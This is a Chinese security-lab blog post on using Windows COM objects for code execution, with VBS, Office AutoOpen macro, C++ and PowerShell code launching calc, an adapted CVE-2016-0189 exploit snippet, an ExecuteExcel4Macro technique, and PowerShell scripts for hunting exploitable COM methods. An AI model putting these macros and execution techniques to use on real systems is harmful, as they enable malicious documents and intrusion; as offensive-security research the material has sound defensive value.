作者:Joey@天玄安全实验室

前言

本文在FireEye的研究Hunting COM Objects[1]的基础上,讲述COM对象在IE漏洞、shellcode和Office宏中的利用方式以及如何挖掘可利用的COM对象,获取新的漏洞利用方式。

COM对象简述

COM(微软组件对象模型),是一种独立于平台的分布式系统,用于创建可交互的二进制软件组件。 COM 是 Microsoft 的 OLE (复合文档) 和 ActiveX (支持 Internet 的组件) 技术的基础技术。

注册表项:HKEY_LOCAL_MACHINE\SOFTWARE\Classes\CLSID下,包含COM对象的所有公开的信息,图中显示了Wscript.Shell对象在注册表中的信息:

其中{72C24DD5-D70A-438B-8A42-98424B88AFB8}就是该对象的CLSID。如果将COM对象比作人的话,CLSID就相当于身份证号,每个COM对象的CLSID都是唯一且不重复的。当然,如果只有身份证号,会有很多不方便的情况,于是便有自己的名字。那么COM对象中的ProgID就相当于它的名字,图中的COM对象ProgID为WScript.Shell.1:

而InProcServer32表示该COM对象位于哪个PE文件中,图中表示WScript.Shell对象位于C:\Windows\System32\wshom.ocx中:

有了上述的信息后,接下来便可以通过这些信息去使用COM对象了。

COM对象的利用

COM对象可以通过脚本语言(VBS、JS)、高级语言(C++)和powershell创建。接下来分别介绍这三种创建方式。

脚本语言创建COM对象

通过脚本语言,我们可以很轻易的创建一个COM对象,使用VBS创建Wscript.Shell对象:

Dim Shell
Set Shell = CreateObject("Wscript.Shell")
Shell.Run "cmd /c calc.exe"

运行效果如图:

CreateObject方法使用COM对象的ProgID:Wscript.Shell来创建对象,创建完成后便能调用该对象的Run方法通过cmd起calc。除了使用ProgID,还可以使用Wscript.Shell对象的CLSID来创建:

Dim Shell
Set Shell = GetObject("new:72C24DD5-D70A-438B-8A42-98424B88AFB8")
Shell.Run "cmd /c calc.exe"

这种方法的好处是当想要创建的COM对象没有ProgID时,便可以通过CLSID进行创建。接下来对CVE-2016-0189[2]的EXP进行改造,将EXP中如下vbs代码替换成创建Wscript.Shell即可。

替换前:

' Execute cmd
Set Object = CreateObject("Shell.Application")
Object.ShellExecute "cmd"

替换后:

' Execute cmd
Dim Shell
Set Shell = CreateObject("Wscript.Shell")
Shell.Run "cmd /c calc.exe"

最终实现效果:

接下来讲述COM对象在Office宏中的利用,以Office2019为例,在word文档中创建如下宏代码:

Sub AutoOpen()
Dim Shell
Set Shell = CreateObject("Wscript.Shell")
Shell.Run "cmd /c calc.exe"
End Sub

打开文件后,会提示宏已被禁用:

点击启用宏后,使用cmd起计算器:

用法和IE中一致,就不再赘述了。

通过高级语言创建COM对象

如果想通过高级语言(这里以C++为例)使用COM对象的话,必须要明白微软定义的COM三大接口类:IUnknown[3]IClassFactory[4]IDispatch[5]

参考COM三大接口:IUnknown、IClassFactory、IDispatch[6]一文。COM规范规定任何组件、任何接口都必须从IUnknown继承,IUnknown内包含3个函数:QueryInterface、AddRef和Release。QueryInterface用于查询组件实现的其它接口,AddRef用于增加引用计数,Release用于减少引用计数。根据本人的理解,QueryInterface用来获取IClassFactory类的的接口,AddRef和Release用于控制装载后InProcServer32所在PE文件的生命周期。当引用计数大于0时,内存中始终存在一个PE文件可以创建COM对象,当引用计数等于0时,系统会将内存中的PE文件释放掉,也就无法对该COM对象进行任何操作了。

IClassFactory的作用是创建COM组件,通过类中CreateInstance函数即可创建一个可以使用的COM对象。有了对象还不够,必须要使用对象中的各种函数来执行功能,于是便要使用IDispatch接口类来获取函数和执行函数。

IDispatch叫做调度接口,IDispatch类中的GetIDsOfNames函数可以通过IClassFactory创建的COM对象的函数名获取对应的函数ID(IID),通过这个ID就可以使用IDispatch类中的Invoke函数来执行COM对象中方法。最后将相关的资源使用IUnknown->Release函数释放,即可完成一次完整的COM对象调用过程。图中所示就是具体的实现流程:

不过在实际使用中,并不会直接使用IUnknown接口类的函数,因为极易因为程序员的疏忽忘记释放一个接口或者多释放一个接口导致错误,因此使用图中函数CoCreateInstance就能直接创建一个类的接口。也就是说一个函数封装了IUnknown类和IClassFactory类的功能,能够简化流程。

下面是创建WScript.Shell对象,使用Run方法起powershell的完整代码:

#define _WIN32_DCOM
using namespace std;
#include <comdef.h> #pragma comment(lib, "stdole2.tlb") int main(int argc, char** argv)
{
HRESULT hres; // Step 1: ------------------------------------------------
// 初始化COM组件. ------------------------------------------ hres = CoInitializeEx(0, COINIT_MULTITHREADED); // Step 2: ------------------------------------------------
// 初始化COM安全属性 --------------------------------------- hres = CoInitializeSecurity(
NULL,
-1, // COM negotiates service
NULL, // Authentication services
NULL, // Reserved
RPC_C_AUTHN_LEVEL_DEFAULT, // Default authentication
RPC_C_IMP_LEVEL_IMPERSONATE, // Default Impersonation
NULL, // Authentication info
EOAC_NONE, // Additional capabilities
NULL // Reserved
);
// Step 3: ---------------------------------------
// 获取COM组件的接口和方法 -------------------------
LPDISPATCH lpDisp;
CLSID clsidshell;
hres = CLSIDFromProgID(L"WScript.Shell", &clsidshell);
if (FAILED(hres))
return FALSE;
hres = CoCreateInstance(clsidshell, NULL, CLSCTX_INPROC_SERVER, IID_IDispatch, (LPVOID*)&lpDisp);
if (FAILED(hres))
return FALSE;
LPOLESTR pFuncName = L"Run";
DISPID Run;
hres = lpDisp->GetIDsOfNames(IID_NULL, &pFuncName, 1, LOCALE_SYSTEM_DEFAULT, &Run);
if (FAILED(hres))
return FALSE;
// Step 4: ---------------------------------------
// 填写COM组件参数并执行方法 -----------------------
VARIANTARG V[1];
V[0].vt = VT_BSTR;
V[0].bstrVal = _bstr_t(L"cmd /c calc.exe");
DISPPARAMS disParams = { V, NULL, 1, 0 };
hres = lpDisp->Invoke(Run, IID_NULL, LOCALE_SYSTEM_DEFAULT, DISPATCH_METHOD, &disParams, NULL, NULL, NULL);
if (FAILED(hres))
return FALSE;
// Clean up
//--------------------------
lpDisp->Release();
CoUninitialize();
return 1;
}

步骤一、二都是用来初始化调用COM对象,步骤三使用了CoCreateInstance创建了WScript.Shell对象的IDispatch类接口,使用GetIDsOfNames函数获得了Run函数的ID。步骤四通过函数ID使用Invoke函数执行了Run方法起calc,最终运行的效果和IE的EXP一致,这里就不再展示了。

那么,如此复杂的方式相比VBS有什么好处呢?那就是可以将C++代码通过shellcode生成框架转化为shellcode,生成后的shellcode比VBS能用在更多的地方,更加灵活,至于如何将代码转换成shellcode本文就不再讲述了。

通过powershell创建COM对象

接下来就是最后一种创建COM对象的方式:使用powershell创建COM对象。使用powershell一样可以分别通过ProgID和CLSID创建,通过$shell = [Activator]::CreateInstance([type]::GetTypeFromProgID("WScript.Shell"))命令即可通过ProgID创建WSH对象,而通过$shell = [Activator]::CreateInstance([type]::GetTypeFromCLSID("72C24DD5-D70A-438B-8A42-98424B88AFB8"))则可以通过CLSID创建,下图是通过CLSID创建后的效果:

通过这种创建COM对象的方式,我们便可以编写powershell脚本进行COM对象的遍历了,获取计算机中大部分COM对象的方法和属性了。

COM对象的挖掘

这部分的内容参考了FIREEYE的研究进行,利用powershell脚本遍历COM对象的方式成功挖掘到一种利用方式,故此分享。

已公开COM对象利用挖掘

首先需要遍历系统中所有COM对象的CLSID,于是编写powershell脚本,将CLSID输出到txt文本中:

New-PSDrive -PSProvider registry -Root HKEY_CLASSES_ROOT -Name HKCR
Get-ChildItem -Path HKCR:\CLSID -Name | Select -Skip 1 > clsids.txt

生成的clsid.txt如图所示:

接着利用这些clsid通过powershell创建对应的COM对象,并且使用Get-Member方法获取对应的方法和属性,并最终输出到文本中,pwoershell脚本如下:

$Position  = 1
$Filename = "clsid-members.txt"
$inputFilename = "clsids.txt"
ForEach($CLSID in Get-Content $inputFilename) {
Write-Output "$($Position) - $($CLSID)"
Write-Output "------------------------" | Out-File $Filename -Append
Write-Output $($CLSID) | Out-File $Filename -Append
$handle = [activator]::CreateInstance([type]::GetTypeFromCLSID($CLSID))
$handle | Get-Member | Out-File $Filename -Append
$Position += 1
}

脚本运行期间可能会打开各种软件,甚至会退出,需要截取clsid重新运行。运行后的文本内容为:

通过搜索关键词:execute、exec、和run,能够发现不少可以利用的COM对象。本人由于在研究宏相关的COM利用,于是尝试了关键字ExecuteExcel4Macro,结果意外的收获到了COM对象Microsoft.Office.Interop.Excel.GlobalClass:

于是使用ExecuteExcel4Macro函数加载shell32.dll中的ShellExecuteA成功起calc:

Sub Auto_Open()Set execl = GetObject("new:00020812-0000-0000-C000-000000000046")execl.ExecuteExcel4Macro ("CALL(""shell32"", ""ShellExecuteA"", ""JJJCJJH"", -1, 0, ""CALC"", 0, 0, 5)")End Sub

未公开COM对象利用挖掘

对于已经公开的COM对象挖掘较为容易,当面对未公开的COM对象时,就需要通过逆向挖掘利用。比如位于C:\windows\system32\wat\watweb.dll中的WatWeb.WatWebObject对象公开了一个名为LaunchSystemApplication的方法,在oleview中能看到需要3个参数:

但仅凭这些信息无法确定该方法是否能起任意进程,于是逆向查看LaunchSystemApplication,由于有调试符号,因此可以直接定位到该方法:

LaunchSystemApplication调用LaunchSystemApplicationInternal,进入查看发现调用了CreateProcess,有利用的可能:

但是可以看到调用了IsApprovedApplication方法进行校验,进入查看:

发现需要校验传入的字符串为slui.exe,同时会将该字符串附加到系统路径下,因此并不能随意执行进程。尽管最终没有利用成功,但是这种思路可以帮助分析其他未知的COM对象,挖掘到更多的利用方式。

结论

COM对象功能强大,灵活便捷,可以用于浏览器、脚本、Office宏、shellcode和powershell。通过powershell遍历系统中的COM对象,结合逆向分析更有可能发现未公开的利用方式。

更多内容请前往微信公众号:天玄安全实验室

参考链接

[1] FireEye-Hunting COM Objects

[2] Github-Brian Pak-CVE-2016-0189-exploit

[3] Microsoft-IUnknown接口说明文档

[4] Microsoft-IClassFactory接口说明文档

[5] Microsoft-IDispatch接口说明文档

[6] CSDN-COM三大接口:IUnknown、IClassFactory、IDispatch

COM 对象的利用与挖掘4的更多相关文章

  1. 安全学习概览——恶意软件分析、web渗透、漏洞利用和挖掘、内网渗透、IoT安全分析、区块链、黑灰产对抗

    1 基础知识1.1 网络熟悉常见网络协议:https://www.ietf.org/standards/rfcs/1.2 操作系统1.3 编程2 恶意软件分析2.1 分类2.1.1 木马2.1.2 B ...

  2. 不创建实体对象,利用newstonjson得到json格式字符串,键对应的值

    1.Json字符串嵌套格式解析 string jsonText = "{\"beijing\":{\"zone\":\"海淀\", ...

  3. 【Unity】3.1 利用内置的3D对象创建三维模型

    分类:Unity.C#.VS2015 创建日期:2016-04-02 一.基本概念 Unity已经内置了一些基本的3D对象,利用这些内置的3D对象就可以直接构建出各种3D模型(当然,复杂的三维模型还需 ...

  4. Python与数据库[2] -> 关系对象映射/ORM[5] -> 利用 sqlalchemy 实现关系表查询功能

    利用 sqlalchemy 实现关系表查询功能 下面的例子将完成一个通过关系表进行查询的功能,示例中的数据表均在MySQL中建立,建立过程可以使用 SQL 命令或编写 Python 适配器完成. 示例 ...

  5. Java基础/利用fastjson反序列化json为对象和对象数组

    利用fastjson反序列化json为对象和对象数组 利用 fastjosn 将 .json文件 反序列化为 java.class 和 java.util.List fastjson 是一个性能很好的 ...

  6. Web挖掘技术

      一.数据挖掘 数据挖掘是运用计算机及信息技术,从大量的.不全然的数据集中获取隐含在当中的实用知识的高级过程.Web 数据挖掘是从数据挖掘发展而来,是数据挖掘技术在Web 技术中的应用.Web 数据 ...

  7. vmware漏洞之三——Vmware虚拟机逃逸漏洞(CVE-2017-4901)Exploit代码分析与利用

    本文简单分析了代码的结构.有助于理解. 转:http://www.freebuf.com/news/141442.html 0×01 事件分析 2017年7月19 unamer在其github上发布了 ...

  8. Effective Java笔记一 创建和销毁对象

    Effective Java笔记一 创建和销毁对象 第1条 考虑用静态工厂方法代替构造器 第2条 遇到多个构造器参数时要考虑用构建器 第3条 用私有构造器或者枚举类型强化Singleton属性 第4条 ...

  9. 使用Emit把Datatable转换为对象集合(List<T>)

    Emit生成动态方法部分摘自网上,但是经过修改,加入了对委托的缓存以及类结构的调整,使之调用更简洁方便.大致的思路是:要实现转换datatable到某个指定对象的集合,本质是实现转换一个datarow ...

  10. 【MongoDB】递归获取字段更新表达式,更新复杂数据类型对象

    在实际更新Mongo对象时发现,原有的更新代码无法更新复杂的数据类型对象.恰好看到张占岭老师有对该方法做相关的改进,因此全抄了下来. 总的核心思想就是运用反射与递归,对对象属性一层一层挖掘下去,循环创 ...

随机推荐

  1. kali-国内源-更新系统

    1.更换国内源 vim /etc/apt/sources.list deb https://mirrors.aliyun.com/kali kali-rolling main non-free con ...

  2. 苹果手机iframe高度设定不生效而且无法滑动

    为iframe加个div.d1 .d1{ -webkit-overflow-scrolling: touch; overflow-y: scroll; height: 500px; 最好加上固定的高度 ...

  3. 微信小程序扫码

    前言:微信小程序-->调用摄像头,扫描二维码/条形码,并获取信息,一连串操作,只需要调用微信小程序提供的 wx.scanCode API. 一.生成测试二维码 随便网上找个二维码生成器. 二.实 ...

  4. Word12 财务部制作本年年度报告office真题

    1.根据题目一的要求,打开素材文件,点击[文件]-[另存为],选择[当前文件夹],命名为Word. 2.根据题目二的要求,在[开始]里点击[样式]的右下角,打开样式窗口,勾选[显示预览],选中文字,鼠 ...

  5. 如何使用纯JS过掉淘宝滑块

    起因 众所周知淘宝滑块很难过掉,今天博主就专门研究了一下淘宝滑块,之前博主也有研究过但是发现并不好过.今天恰好有个项目需要淘宝登录,就有滑块验证,说明一下博主做的是浏览器插件哦.今天博主打算在研究滑块 ...

  6. PHP中的超级变量

    超级变量,又名超级全局变量,是PHP内置的变量,这些变量在代码的任意位置都能正常使用 PHP中的超级变量 9种超级变量 $GLOBALS $_SERVER 9种超级变量 目前,PHP提供了9种超级变量 ...

  7. C语言联合体(共用体)使用方法及大小计算

    作者的话 本文介绍联合体的定义.如何使用联合体,包括联合体的声明.联合体变量创建.联合体内存使用,以及联合体大小的计算,最后附上用联合体判断当前环境是大端还是小端的方法. 联合体的定义 联合体,又叫共 ...

  8. 安装centos,ubuntu系统

    安装centos系统 1.首先进入VMware,新建虚拟机,选择典型,然后下一步 2.稍后安装系统,下一步 3.因为此次安装的是centos7.9系统,因此版本选择7 64位,下一步 4.选择虚拟机的 ...

  9. element-UI 如果获取表格当前行

    表格获取当前行的方法,参考element-UI文档上,可以使用作用域插槽获取当前行的数据 // 通过 slot-scope 可以获取到 row, column, $index 和 store(tabl ...

  10. Django 之RestFramework

    1. 从request先说起 在Django原生的request里,请求的数据可以从request.GET或者request.POST里面取到. 需要注意的是,如果是POST请求,request.PO ...